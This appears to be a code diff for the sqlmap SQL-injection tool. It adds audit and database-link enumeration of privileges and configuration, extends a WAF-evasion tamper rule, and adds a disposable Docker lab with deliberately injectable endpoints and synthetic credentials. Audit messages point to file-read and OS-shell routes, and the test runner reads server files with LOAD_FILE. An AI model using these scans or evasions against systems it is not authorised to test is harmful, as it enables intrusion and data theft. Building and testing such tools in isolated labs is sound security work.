if superuser or privileges.get("pg_read_server_files") == "1":
|
||||
result.append("File read: server-file privilege granted; use --file-read with a server-side path")
|
||||
if superuser and self._auditCanExecute():
|
||||
result.append("File write: superuser and statement execution available; use --file-write and --file-dest")
|
||||
if superuser or privileges.get("pg_execute_server_program") == "1":
|
||||
if self._auditCanExecute():
|
||||
result.append("Command execution: COPY FROM PROGRAM privilege granted; use --os-cmd or --os-shell")
|
||||
else:
|
||||
result.append("Command execution: COPY FROM PROGRAM privilege granted; no statement execution route identified")
|
||||
if superuser or privileges.get("bypass RLS") == "1":
|
||||
result.append("Row security: current role bypasses row-level security")
|
||||
return result
|
||||
@@ -0,0 +1,113 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import arrayizeValue
|
||||
from lib.core.common import getSQLSnippet
|
||||
from lib.core.common import isListLike
|
||||
from lib.core.common import isNoneValue
|
||||
from lib.core.common import isStackingAvailable
|
||||
from lib.core.common import unArrayizeValue
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import CHARSET_TYPE
|
||||
from lib.core.enums import EXPECTED
|
||||
from lib.core.exception import SqlmapNoneDataException
|
||||
from lib.core.settings import AUDIT_MAX_ROWS
|
||||
from lib.utils.safe2bin import safecharencode
|
||||
from lib.request import inject
|
||||
from thirdparty import six
|
||||
|
||||
|
||||
class Audit(object):
|
||||
# Each snippet returns (audit_key, audit_value). Values are tagged N (SQL NULL) or V<text>
|
||||
# so extraction's normal NULL/empty-string handling cannot silently change their meaning.
|
||||
dbms = None
|
||||
queries = ()
|
||||
flags = {}
|
||||
|
||||
def _auditFetch(self, snippet):
|
||||
# Extraction locates fields and FROM clauses on one line.
|
||||
query = getSQLSnippet(self.dbms, snippet, LIMIT=str(AUDIT_MAX_ROWS)).replace("\r", " ").replace("\n", " ")
|
||||
try:
|
||||
values = inject.getValue(query, fromUser=True, batch=True, safeCharEncode=False)
|
||||
except SqlmapNoneDataException:
|
||||
values = None
|
||||
if isNoneValue(values):
|
||||
# Extraction can return None for both zero rows and a failed query.
|
||||
# Confirm emptiness rather than inferring a database error from it.
|
||||
countQuery = "SELECT COUNT(*) FROM (%s) audit_count" % query.rsplit(" ORDER BY ", 1)[0]
|
||||
try:
|
||||
count = inject.getValue(countQuery, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
||||
except SqlmapNoneDataException:
|
||||
return None
|
||||
return {} if getUnicode(unArrayizeValue(count)) == "0" else None
|
||||
if isListLike(values) and len(values) == 2 and not any(isListLike(_) for _ in values):
|
||||
values = [values]
|
||||
facts = {}
|
||||
for row in arrayizeValue(values):
|
||||
if not isListLike(row) or len(row) != 2:
|
||||
return None
|
||||
key, value = row
|
||||
if isNoneValue(key) or not isinstance(value, six.string_types):
|
||||
return None
|
||||
if value == "N":
|
||||
value = None
|
||||
elif value.startswith("V"):
|
||||
value = value[1:]
|
||||
else:
|
||||
return None
|
||||
# DBMS CHAR expressions can pad the keys; preserve value whitespace.
|
||||
facts[getUnicode(key).rstrip(" ")] = value
|
||||
return facts
|
||||
|
||||
def failure(self, scope, groups):
|
||||
return "%s: retrieval failed" % scope
|
||||
|
||||
def _auditCanExecute(self):
|
||||
# Use known execution routes; audit must not probe takeover gadgets.
|
||||
return bool(conf.direct or isStackingAvailable() or kb.get("gadget"))
|
||||
|
||||
def explain(self, groups):
|
||||
return []
|
||||
|
||||
def getAudit(self):
|
||||
if kb.data.cachedAudit:
|
||||
return kb.data.cachedAudit
|
||||
logger.info("fetching security configuration and session capabilities")
|
||||
groups = {}
|
||||
result = []
|
||||
for scope, snippets in self.queries:
|
||||
facts = None
|
||||
for snippet in snippets:
|
||||
facts = self._auditFetch(snippet)
|
||||
if facts is not None:
|
||||
break
|
||||
groups[scope] = facts
|
||||
if facts is None:
|
||||
result.append(self.failure(scope, groups))
|
||||
continue
|
||||
if not facts:
|
||||
result.append("%s: no entries" % scope)
|
||||
for key in sorted(facts):
|
||||
if facts[key] is None:
|
||||
value = "<NULL>"
|
||||
elif facts[key] == "":
|
||||
value = "<empty>"
|
||||
else:
|
||||
value = facts[key]
|
||||
if key in self.flags:
|
||||
if value.lower() in ("1", "on", "true", "yes"):
|
||||
value = self.flags[key][0]
|
||||
elif value.lower() in ("0", "off", "false", "no"):
|
||||
value = self.flags[key][1]
|
||||
result.append("%s / %s: %s" % (scope, key, value))
|
||||
result.extend(self.explain(groups))
|
||||
result = [safecharencode(_) for _ in result]
|
||||
kb.data.cachedAudit = result
|
||||
return result
|
||||
@@ -12,10 +12,12 @@ import sys
|
||||
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import getSQLSnippet
|
||||
from lib.core.common import isListLike
|
||||
from lib.core.common import isStackingAvailable
|
||||
from lib.core.common import joinValue
|
||||
from lib.core.common import readCachedFileContent
|
||||
from lib.core.common import splitFields
|
||||
from lib.core.common import zeroDepthSearch
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import conf
|
||||
@@ -148,12 +150,12 @@ class Custom(object):
|
||||
if not filename:
|
||||
continue
|
||||
|
||||
snippet = getSQLSnippet(Backend.getDbms(), filename)
|
||||
# User SQL is not a bundled procedure template: preserve literals and percent tokens.
|
||||
snippet = readCachedFileContent(filename)
|
||||
queries = [_.strip() for _ in splitFields(snippet, delimiter=';' if zeroDepthSearch(snippet, ';') else '\n') if _.strip()]
|
||||
|
||||
if snippet and all(query.strip().upper().startswith("SELECT") for query in (_ for _ in snippet.split(';' if ';' in snippet else '\n') if _)):
|
||||
for query in (_ for _ in snippet.split(';' if ';' in snippet else '\n') if _):
|
||||
query = query.strip()
|
||||
if query:
|
||||
conf.dumper.sqlQuery(query, self.sqlQuery(query))
|
||||
else:
|
||||
if queries and all(query.upper().startswith("SELECT") for query in queries):
|
||||
for query in queries:
|
||||
conf.dumper.sqlQuery(query, self.sqlQuery(query))
|
||||
elif queries:
|
||||
conf.dumper.sqlQuery(snippet, self.sqlQuery(snippet))
|
||||
@@ -72,6 +72,8 @@ class Databases(object):
|
||||
kb.data.dumpedTable = {}
|
||||
kb.data.cachedStatements = []
|
||||
kb.data.cachedProcedures = []
|
||||
kb.data.cachedLinks = []
|
||||
kb.data.cachedAudit = []
|
||||
|
||||
def getCurrentDb(self):
|
||||
infoMsg = "fetching current database"
|
||||
@@ -1181,6 +1183,53 @@ class Databases(object):
|
||||
|
||||
return kb.data.cachedStatements
|
||||
|
||||
def getLinks(self):
|
||||
dbms = Backend.getIdentifiedDbms()
|
||||
if dbms not in queries or "links" not in queries[dbms]:
|
||||
logger.warning("enumeration of database links is not supported on %s" % dbms)
|
||||
return []
|
||||
|
||||
if kb.data.cachedLinks:
|
||||
return kb.data.cachedLinks
|
||||
|
||||
logger.info("fetching database links visible to the current user")
|
||||
rootQuery = queries[dbms].links
|
||||
|
||||
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
|
||||
values = inject.getValue(rootQuery.inband.query, blind=False, time=False)
|
||||
if not isNoneValue(values):
|
||||
for value in arrayizeValue(values):
|
||||
value = unArrayizeValue(value)
|
||||
if not isNoneValue(value):
|
||||
kb.data.cachedLinks.append(value.strip())
|
||||
|
||||
if not kb.data.cachedLinks and isInferenceAvailable() and not conf.direct:
|
||||
count = inject.getValue(rootQuery.blind.count, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
||||
if count in (0, "0"):
|
||||
return []
|
||||
elif not isNumPosStrValue(count):
|
||||
logger.warning("unable to retrieve the number of database links")
|
||||
return []
|
||||
|
||||
for index in getLimitRange(count):
|
||||
value = unArrayizeValue(inject.getValue(rootQuery.blind.query % index, union=False, error=False))
|
||||
if not isNoneValue(value):
|
||||
kb.data.cachedLinks.append(value.strip())
|
||||
|
||||
return kb.data.cachedLinks
|
||||
|
||||
def getAudit(self):
|
||||
from importlib import import_module
|
||||
from lib.core.settings import DBMS_DIRECTORY_DICT
|
||||
|
||||
dbms = Backend.getIdentifiedDbms()
|
||||
if dbms not in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.ORACLE) or Backend.isFork(FORK.DUCKDB):
|
||||
logger.warning("security configuration audit is not supported on %s" % dbms)
|
||||
return []
|
||||
|
||||
module = import_module("plugins.dbms.%s.audit" % DBMS_DIRECTORY_DICT[dbms])
|
||||
return module.Audit().getAudit()
|
||||
|
||||
def getProcedures(self):
|
||||
infoMsg = "fetching stored procedures"
|
||||
logger.info(infoMsg)
|
||||
|
||||
+14
-3
@@ -25,8 +25,8 @@ bulkFile =
|
||||
# Example (file content): POST /login.jsp HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/4.0\n\nuserid=joe&password=guessme
|
||||
requestFile =
|
||||
|
||||
# Rather than providing a target URL, let Google return target
|
||||
# hosts as result of your Google dork expression. For a list of Google
|
||||
# Rather than providing a target URL, let the search engine return target
|
||||
# hosts as result of your dork expression. For a list of
|
||||
# dorks see Google Hacking Database at
|
||||
# https://www.exploit-db.com/google-hacking-database
|
||||
# Example: +ext:php +inurl:"&id=" +intext:"powered by "
|
||||
@@ -544,6 +544,14 @@ getComments = False
|
||||
# Valid: True or False
|
||||
getStatements = False
|
||||
|
||||
# Enumerate database management system links and their destinations.
|
||||
# Valid: True or False
|
||||
getLinks = False
|
||||
|
||||
# Audit database security configuration and current-session capabilities.
|
||||
# Valid: True or False
|
||||
getAudit = False
|
||||
|
||||
# Back-end database management system database to enumerate.
|
||||
db =
|
||||
|
||||
@@ -789,7 +797,7 @@ forms = False
|
||||
# Valid: True or False
|
||||
freshQueries = False
|
||||
|
||||
# Use Google dork results from specified page number.
|
||||
# Use dork results from specified page number.
|
||||
# Valid: integer
|
||||
# Default: 1
|
||||
googlePage = 1
|
||||
@@ -805,6 +813,9 @@ outputDir =
|
||||
# Valid: True or False
|
||||
parseErrors = False
|
||||
|
||||
# Run a Python refresh() script returning replacement headers on HTTP 401.
|
||||
authRefresh =
|
||||
|
||||
# Use given script(s) for preprocessing of request.
|
||||
preprocess =
|
||||
|
||||
|
||||
@@ -38,6 +38,8 @@ def tamper(payload, **kwargs):
|
||||
'1 AND A BETWEEN B AND B--'
|
||||
>>> tamper('1 AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()')
|
||||
'1 AND LAST_INSERT_ROWID() BETWEEN LAST_INSERT_ROWID() AND LAST_INSERT_ROWID()'
|
||||
>>> tamper('CASE WHEN 1=2 THEN id ELSE 0 END')
|
||||
'CASE WHEN 1 BETWEEN 2 AND 2 THEN id ELSE 0 END'
|
||||
"""
|
||||
|
||||
retVal = payload
|
||||
@@ -58,4 +60,7 @@ def tamper(payload, **kwargs):
|
||||
_ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5))
|
||||
retVal = retVal.replace(match.group(0), _)
|
||||
|
||||
# e.g. CASE WHEN 1=1 THEN ... (expression-position payloads with no AND/OR to anchor on)
|
||||
retVal = re.sub(r"(?i)(\bWHEN\s+)([\w.]+)\s*(?<![<>!])=(?!=)\s*([\w.]+)(?=\s)", r"\g<1>\g<2> BETWEEN \g<3> AND \g<3>", retVal)
|
||||
|
||||
return retVal
|
||||
@@ -0,0 +1,5 @@
|
||||
FROM python:3.12-slim
|
||||
RUN pip install --no-cache-dir flask==3.1.3 pymysql==1.2.3 'psycopg[binary]==3.3.6' python-tds==1.17.1 oracledb==26.0.1
|
||||
WORKDIR /lab
|
||||
COPY server.py db.py seed.py probe.py /lab/
|
||||
CMD ["python", "/lab/server.py"]
|
||||
@@ -0,0 +1,42 @@
|
||||
# Disposable security audit matrix
|
||||
|
||||
Run from the repository root on a local Docker host:
|
||||
|
||||
```sh
|
||||
python3 tests/integration/audit/run.py
|
||||
```
|
||||
|
||||
Requires Python 3, Docker Compose, Internet access for images and roughly 12 GB
|
||||
available memory. The SQL Server image requires an x86-64 host. Oracle image
|
||||
support also depends on host architecture and page size. Application drivers are
|
||||
installed only inside the fixture image; sqlmap gains no dependencies.
|
||||
|
||||
The runner creates an isolated `sqlmap-audit-<pid>` Compose project. Database ports
|
||||
are internal; deliberately injectable HTTP endpoints bind to random localhost
|
||||
ports. Credentials are synthetic and fixed for these disposable databases. The
|
||||
runner does not access the remote sqlmap testbed or existing database services.
|
||||
It removes its own containers, networks and volumes on completion, including a
|
||||
failed assertion. `--keep` retains them for investigation; remove the retained
|
||||
project with `docker compose -p <project> -f tests/integration/audit/compose.yml down --volumes`.
|
||||
|
||||
The matrix covers MySQL 8, MariaDB 10.11, PostgreSQL 16, SQL Server 2022 and
|
||||
Oracle Free 23, with administrator, application and restricted accounts. Two
|
||||
additional MySQL instances exercise unrestricted and disabled file operations.
|
||||
It compares native metadata results with real UNION SQLi for every account and
|
||||
boolean blind SQLi for each engine's application account, using five threads.
|
||||
Variable listings retain total counts and show at most 20 details. Additional
|
||||
scenarios cover oversized listings, escaped control characters, confirmed empty
|
||||
queries, RLS enforcement and command advice with and without stacked execution.
|
||||
It also checks that audits leave configuration unchanged, that revoking grants
|
||||
and changing settings changes the result, and that database root with FILE
|
||||
privilege still cannot read a root-only fixture file. Filesystem probes and
|
||||
configuration changes belong to the fixture provisioner; `--audit` performs
|
||||
metadata reads only.
|
||||
|
||||
Use `--native-only` for database queries and permission/configuration/filesystem
|
||||
checks without the HTTP scans. Logs and native reference results go to a printed
|
||||
temporary directory. For a previously seeded retained project:
|
||||
|
||||
```sh
|
||||
python3 tests/integration/audit/run.py --project sqlmap-audit-<id> --reuse --keep
|
||||
```
|
||||
@@ -0,0 +1,82 @@
|
||||
services:
|
||||
mysql:
|
||||
image: mysql:8.0
|
||||
environment:
|
||||
MYSQL_ROOT_PASSWORD: AuditOnly!2026
|
||||
MYSQL_ROOT_HOST: '%'
|
||||
MYSQL_DATABASE: auditlab
|
||||
command: ['--secure-file-priv=/var/lib/mysql-files', '--local-infile=OFF']
|
||||
mem_limit: 1g
|
||||
mariadb:
|
||||
image: mariadb:10.11
|
||||
environment:
|
||||
MARIADB_ROOT_PASSWORD: AuditOnly!2026
|
||||
MARIADB_ROOT_HOST: '%'
|
||||
MARIADB_DATABASE: auditlab
|
||||
command: ['--secure-file-priv=', '--local-infile=ON']
|
||||
mem_limit: 1g
|
||||
postgres:
|
||||
image: postgres:16-alpine
|
||||
environment:
|
||||
POSTGRES_PASSWORD: AuditOnly!2026
|
||||
POSTGRES_DB: auditlab
|
||||
mem_limit: 1g
|
||||
mssql:
|
||||
image: mcr.microsoft.com/mssql/server:2022-latest
|
||||
environment:
|
||||
ACCEPT_EULA: Y
|
||||
MSSQL_PID: Developer
|
||||
MSSQL_SA_PASSWORD: AuditOnly!2026
|
||||
mem_limit: 2g
|
||||
oracle:
|
||||
image: gvenzl/oracle-free:23.26.0-slim-faststart
|
||||
environment:
|
||||
ORACLE_PASSWORD: AuditOnly!2026
|
||||
APP_USER: audit_owner
|
||||
APP_USER_PASSWORD: AuditOnly!2026
|
||||
mem_limit: 4g
|
||||
web-mysql:
|
||||
build: .
|
||||
image: sqlmap-audit-fixture:local
|
||||
environment: {ENGINE: mysql}
|
||||
ports: ['127.0.0.1::8080']
|
||||
web-mariadb:
|
||||
image: sqlmap-audit-fixture:local
|
||||
environment: {ENGINE: mariadb}
|
||||
ports: ['127.0.0.1::8080']
|
||||
web-postgres:
|
||||
image: sqlmap-audit-fixture:local
|
||||
environment: {ENGINE: postgres}
|
||||
ports: ['127.0.0.1::8080']
|
||||
web-mssql:
|
||||
image: sqlmap-audit-fixture:local
|
||||
environment: {ENGINE: mssql}
|
||||
ports: ['127.0.0.1::8080']
|
||||
web-oracle:
|
||||
image: sqlmap-audit-fixture:local
|
||||
environment: {ENGINE: oracle}
|
||||
ports: ['127.0.0.1::8080']
|
||||
mysql-open:
|
||||
image: mysql:8.0
|
||||
environment:
|
||||
MYSQL_ROOT_PASSWORD: AuditOnly!2026
|
||||
MYSQL_ROOT_HOST: '%'
|
||||
MYSQL_DATABASE: auditlab
|
||||
command: ['--secure-file-priv=', '--local-infile=ON']
|
||||
mem_limit: 1g
|
||||
mysql-disabled:
|
||||
image: mysql:8.0
|
||||
environment:
|
||||
MYSQL_ROOT_PASSWORD: AuditOnly!2026
|
||||
MYSQL_ROOT_HOST: '%'
|
||||
MYSQL_DATABASE: auditlab
|
||||
command: ['--secure-file-priv=NULL', '--local-infile=OFF']
|
||||
mem_limit: 1g
|
||||
web-mysql-open:
|
||||
image: sqlmap-audit-fixture:local
|
||||
environment: {ENGINE: mysql, DB_HOST: mysql-open}
|
||||
ports: ['127.0.0.1::8080']
|
||||
web-mysql-disabled:
|
||||
image: sqlmap-audit-fixture:local
|
||||
environment: {ENGINE: mysql, DB_HOST: mysql-disabled}
|
||||
ports: ['127.0.0.1::8080']
|
||||
@@ -0,0 +1,27 @@
|
||||
import os
|
||||
import threading
|
||||
|
||||
engine = os.environ['ENGINE']
|
||||
password = 'AuditOnly!2026'
|
||||
host = os.environ.get('DB_HOST', engine)
|
||||
pools = {}
|
||||
poolLock = threading.Lock()
|
||||
|
||||
|
||||
def connect(account, pooled=False):
|
||||
if engine in ('mysql', 'mariadb'):
|
||||
import pymysql
|
||||
return pymysql.connect(host=host, user=account, password=password, database='auditlab', autocommit=True)
|
||||
if engine == 'postgres':
|
||||
import psycopg
|
||||
return psycopg.connect(host=host, user=account, password=password, dbname='auditlab', autocommit=True)
|
||||
if engine == 'mssql':
|
||||
import pytds
|
||||
return pytds.connect(host, user=account, password=password, database='master', autocommit=True)
|
||||
import oracledb
|
||||
if pooled:
|
||||
with poolLock:
|
||||
if account not in pools:
|
||||
pools[account] = oracledb.create_pool(user=account, password=password, dsn=host+'/FREEPDB1', min=1, max=10, increment=1)
|
||||
return pools[account].acquire()
|
||||
return oracledb.connect(user=account, password=password, dsn=host+'/FREEPDB1', mode=oracledb.AUTH_MODE_SYSDBA if account == 'sys' else oracledb.AUTH_MODE_DEFAULT)
|
||||
@@ -0,0 +1,12 @@
|
||||
#!/usr/bin/env python
|
||||
"""Execute fixture SQL over a real DB-API connection for ground-truth checks."""
|
||||
import json
|
||||
import sys
|
||||
from db import connect
|
||||
conn = connect(sys.argv[1])
|
||||
try:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute(sys.stdin.read())
|
||||
print(json.dumps(cursor.fetchall() if cursor.description else [], default=str))
|
||||
finally:
|
||||
conn.close()
|
||||
@@ -0,0 +1,268 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Opt-in Docker audit matrix. Runtime sqlmap itself acquires metadata only.
|
||||
|
||||
This fixture provisioner deliberately changes settings, grants and synthetic files inside
|
||||
its own disposable containers, then verifies the audit over native SQL and real SQLi.
|
||||
"""
|
||||
from __future__ import print_function
|
||||
|
||||
import argparse
|
||||
import concurrent.futures
|
||||
import json
|
||||
import os
|
||||
from pathlib import Path
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
|
||||
ROOT = Path(__file__).resolve().parents[3]
|
||||
LAB = Path(__file__).resolve().parent
|
||||
sys.path.insert(0, str(ROOT))
|
||||
sys.path.insert(0, str(ROOT / 'tests'))
|
||||
from _testutils import bootstrap, set_dbms
|
||||
bootstrap()
|
||||
from lib.core.enums import DBMS, FORK, EXPECTED
|
||||
from lib.core.common import Backend, getSQLSnippet, unArrayizeValue
|
||||
from lib.core.data import conf
|
||||
from lib.core.settings import AUDIT_MAX_ROWS
|
||||
from lib.request import inject
|
||||
from plugins.generic.databases import Databases
|
||||
|
||||
ENGINES = {'mysql': (DBMS.MYSQL, 'root'), 'mariadb': (DBMS.MYSQL, 'root'),
|
||||
'postgres': (DBMS.PGSQL, 'postgres'), 'mssql': (DBMS.MSSQL, 'sa'),
|
||||
'oracle': (DBMS.ORACLE, 'audit_owner'),
|
||||
'mysql-open': (DBMS.MYSQL, 'root'), 'mysql-disabled': (DBMS.MYSQL, 'root')}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description=__doc__)
|
||||
parser.add_argument('--project', default='sqlmap-audit-%d' % os.getpid())
|
||||
parser.add_argument('--reuse', action='store_true', help='Use an already seeded audit project')
|
||||
parser.add_argument('--keep', action='store_true', help='Keep this disposable project for debugging')
|
||||
parser.add_argument('--native-only', action='store_true', help='Skip the HTTP SQLi matrix')
|
||||
args = parser.parse_args()
|
||||
if not re.match(r'^sqlmap-audit-[a-z0-9-]+$', args.project):
|
||||
parser.error('project must have the sqlmap-audit- prefix')
|
||||
compose = ['docker', 'compose', '-p', args.project, '-f', str(LAB / 'compose.yml')]
|
||||
logs = Path(tempfile.mkdtemp(prefix='sqlmap-audit-matrix-'))
|
||||
print('Logs: %s' % logs, flush=True)
|
||||
|
||||
def command(argv, data=None, check=True, timeout=240):
|
||||
result = subprocess.run(argv, input=data, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
|
||||
text=True, timeout=timeout)
|
||||
if check and result.returncode:
|
||||
raise AssertionError('%s\n%s\n%s' % (' '.join(argv), result.stdout, result.stderr))
|
||||
return result
|
||||
|
||||
def sql(engine, account, query, check=True):
|
||||
result = command(compose + ['exec', '-T', 'web-' + engine, 'python', '/lab/probe.py', account], query, check)
|
||||
return json.loads(result.stdout) if result.returncode == 0 else None
|
||||
|
||||
def native(engine, account, statement=False):
|
||||
dbms = ENGINES[engine][0]
|
||||
set_dbms(dbms)
|
||||
# MariaDB is a MySQL plugin fork; native probes don't run the normal fingerprint.
|
||||
original_fork = Backend.isFork
|
||||
Backend.isFork = staticmethod(lambda fork: engine == 'mariadb' and fork == FORK.MARIADB)
|
||||
original_direct = conf.direct
|
||||
conf.direct = statement
|
||||
original = inject.getValue
|
||||
calls = []
|
||||
def getValue(query, **kwargs):
|
||||
assert query.startswith('SELECT ')
|
||||
calls.append(query)
|
||||
rows = sql(engine, account, query, check=False)
|
||||
return unArrayizeValue(rows) if kwargs.get("expected") == EXPECTED.INT else rows
|
||||
inject.getValue = getValue
|
||||
try:
|
||||
result = Databases().getAudit()
|
||||
assert calls
|
||||
assert not any(line.startswith('OS boundary:') for line in result)
|
||||
return sorted(set(result))
|
||||
finally:
|
||||
conf.direct = original_direct
|
||||
inject.getValue = original
|
||||
Backend.isFork = staticmethod(original_fork)
|
||||
|
||||
def scan(engine, account, technique, expected):
|
||||
address = command(compose + ['port', 'web-' + engine, '8080']).stdout.strip()
|
||||
url = 'http://%s/%s/get_int?id=1' % (address, account)
|
||||
label = '%s-%s-%s' % (engine, account, technique)
|
||||
cmd = [sys.executable, str(ROOT / 'sqlmap.py'), '-u', url,
|
||||
'--dbms=' + ENGINES[engine][0], '--batch', '--technique=' + technique,
|
||||
'--threads=5', '--audit', '--skip-waf', '--disable-precon', '--flush-session',
|
||||
'--output-dir=' + str(logs / label)]
|
||||
result = command(cmd, check=False, timeout=900)
|
||||
(logs / (label + '.log')).write_text(result.stdout + result.stderr)
|
||||
assert result.returncode == 0, label
|
||||
audit_output = re.search(r'^database security audit[^\n]*\n((?:\[\*\] [^\n]*\n)+)', result.stdout, re.M)
|
||||
assert audit_output, label
|
||||
actual = sorted(set(re.findall(r'^\[\*\] (.*)$', audit_output.group(1), re.M)))
|
||||
assert actual == expected, '%s: missing=%r extra=%r' % (label, sorted(set(expected)-set(actual)), sorted(set(actual)-set(expected)))
|
||||
print('SQLi %s PASS' % label, flush=True)
|
||||
|
||||
try:
|
||||
if not args.reuse:
|
||||
command(compose + ['build', 'web-mysql'])
|
||||
command(compose + ['up', '-d'])
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=7) as pool:
|
||||
futures = [pool.submit(command, compose + ['exec', '-T', 'web-' + engine, 'python', '/lab/seed.py']) for engine in ENGINES]
|
||||
for future in futures:
|
||||
future.result()
|
||||
expected = {}
|
||||
for engine, (dbms, admin) in ENGINES.items():
|
||||
for alias, account in (('admin', admin), ('app', 'audit_app'), ('limited', 'audit_limited')):
|
||||
snapshot_query = getSQLSnippet(dbms, 'audit_configuration_mariadb' if engine == 'mariadb' else 'audit_configuration', LIMIT=str(AUDIT_MAX_ROWS))
|
||||
before = sql(engine, admin, snapshot_query) if alias == 'admin' else None
|
||||
result = native(engine, account)
|
||||
if alias == 'admin':
|
||||
assert sql(engine, admin, snapshot_query) == before, 'audit changed configuration'
|
||||
expected[engine, alias] = result
|
||||
(logs / ('%s-%s-native.json' % (engine, alias))).write_text(json.dumps(result, indent=2))
|
||||
assert any('/ effective account:' in line or '/ effective login:' in line for line in result)
|
||||
if alias == 'admin':
|
||||
assert not any(re.match(r'^(identity|configuration|privileges|file access): retrieval failed', line) for line in result), (engine,result)
|
||||
if engine == 'postgres' and alias == 'app':
|
||||
assert 'privileges / pg_read_server_files: yes' in result
|
||||
assert 'privileges / pg_execute_server_program: no' in result
|
||||
if engine == 'mssql' and alias == 'limited':
|
||||
assert 'configuration: SELECT permission missing on master.sys.configurations' in result
|
||||
assert 'linked servers: SELECT permission missing on master.sys.servers' in result
|
||||
if engine == 'oracle' and alias == 'app':
|
||||
assert any('AUDIT_FILES [READ]' in line for line in result)
|
||||
if engine == 'oracle' and alias == 'limited':
|
||||
assert 'directory grants / visible directory grants: 0' in result
|
||||
assert any(line.startswith('configuration: retrieval failed') for line in result)
|
||||
print('Native %s/%s PASS' % (engine,alias), flush=True)
|
||||
|
||||
# Database root with FILE still cannot read files denied to the service OS user.
|
||||
for engine in ('mysql', 'mariadb', 'mysql-open', 'mysql-disabled'):
|
||||
container = command(compose + ['ps', '-q', engine]).stdout.strip()
|
||||
command(['docker','exec','-u','0',container,'sh','-c',
|
||||
'mkdir -p /var/lib/mysql-files; printf AUDIT_READABLE > /var/lib/mysql-files/readable.txt; '
|
||||
'printf AUDIT_PRIVATE > /var/lib/mysql-files/root-only.txt; '
|
||||
'printf AUDIT_OUTSIDE > /tmp/audit-outside.txt; '
|
||||
'chmod 644 /var/lib/mysql-files/readable.txt /tmp/audit-outside.txt; '
|
||||
'chmod 600 /var/lib/mysql-files/root-only.txt'])
|
||||
readable = sql(engine, 'root', "SELECT LOAD_FILE('/var/lib/mysql-files/readable.txt')")[0][0]
|
||||
private = sql(engine, 'root', "SELECT LOAD_FILE('/var/lib/mysql-files/root-only.txt')")[0][0]
|
||||
outside = sql(engine, 'root', "SELECT LOAD_FILE('/tmp/audit-outside.txt')")[0][0]
|
||||
assert private is None
|
||||
assert command(['docker','exec','-u','mysql',container,'test','-r','/var/lib/mysql-files/root-only.txt'],check=False).returncode != 0
|
||||
if engine == 'mysql-disabled':
|
||||
assert readable is None and outside is None
|
||||
assert any(line in expected[engine,'admin'] for line in ('file access / secure_file_priv: <NULL>', 'file access / secure_file_priv: NULL'))
|
||||
assert any('secure_file_priv=NULL blocks' in line for line in expected[engine,'admin'])
|
||||
elif engine == 'mysql':
|
||||
assert readable is not None and outside is None
|
||||
else:
|
||||
assert readable is not None and outside is not None
|
||||
assert ('file access / secure_file_priv: <NULL>' if engine == 'mariadb' else 'file access / secure_file_priv: <empty>') in expected[engine,'admin']
|
||||
assert any('no directory restriction' in line for line in expected[engine,'admin'])
|
||||
assert not any('OS boundary:' in line for line in expected[engine,'admin'])
|
||||
print('Filesystem boundary %s PASS' % engine, flush=True)
|
||||
|
||||
# Changes are made by this fixture provisioner, never by --audit.
|
||||
sql('postgres','postgres','REVOKE pg_read_server_files FROM audit_app')
|
||||
changed = native('postgres','audit_app')
|
||||
assert 'privileges / pg_read_server_files: no' in changed
|
||||
sql('postgres','postgres','GRANT pg_read_server_files TO audit_app')
|
||||
sql('mssql','sa',"EXEC sp_configure 'clr enabled',0; RECONFIGURE")
|
||||
assert 'configuration / clr enabled: disabled' in native('mssql','audit_app')
|
||||
sql('mssql','sa',"EXEC sp_configure 'clr enabled',1; RECONFIGURE")
|
||||
sql('oracle','sys','REVOKE SELECT ON sys.v_$parameter FROM audit_app')
|
||||
assert any(line.startswith('configuration: retrieval failed') for line in native('oracle','audit_app'))
|
||||
sql('oracle','sys','GRANT SELECT ON sys.v_$parameter TO audit_app')
|
||||
print('Grant/configuration changes reflected by audit PASS', flush=True)
|
||||
|
||||
# A successful zero-row SELECT must not be reported as a failed query.
|
||||
from plugins.generic import audit as auditModule
|
||||
original_snippet = auditModule.getSQLSnippet
|
||||
auditModule.getSQLSnippet = lambda *args, **kwargs: "SELECT audit_key,audit_value FROM (SELECT 'empty' AS audit_key,'Vempty' AS audit_value) audit_rows WHERE 1=0"
|
||||
try:
|
||||
assert native('mysql','root') == ['configuration: no entries', 'file access: no entries', 'identity: no entries', 'privileges: no entries']
|
||||
finally:
|
||||
auditModule.getSQLSnippet = original_snippet
|
||||
print('Confirmed empty metadata query PASS', flush=True)
|
||||
|
||||
# Independent semantics: row_security=off must fail, not bypass a policy.
|
||||
sql('postgres','postgres', 'CREATE TABLE audit_rls (id INT)')
|
||||
sql('postgres','postgres', 'INSERT INTO audit_rls VALUES (1),(2)')
|
||||
sql('postgres','postgres', 'GRANT SELECT ON audit_rls TO audit_app')
|
||||
sql('postgres','postgres', 'ALTER TABLE audit_rls ENABLE ROW LEVEL SECURITY')
|
||||
sql('postgres','postgres', 'CREATE POLICY audit_policy ON audit_rls USING (id=1)')
|
||||
assert sql('postgres','audit_app','SELECT * FROM audit_rls',check=False) is None
|
||||
assert not any('bypasses row-level security' in line for line in native('postgres','audit_app'))
|
||||
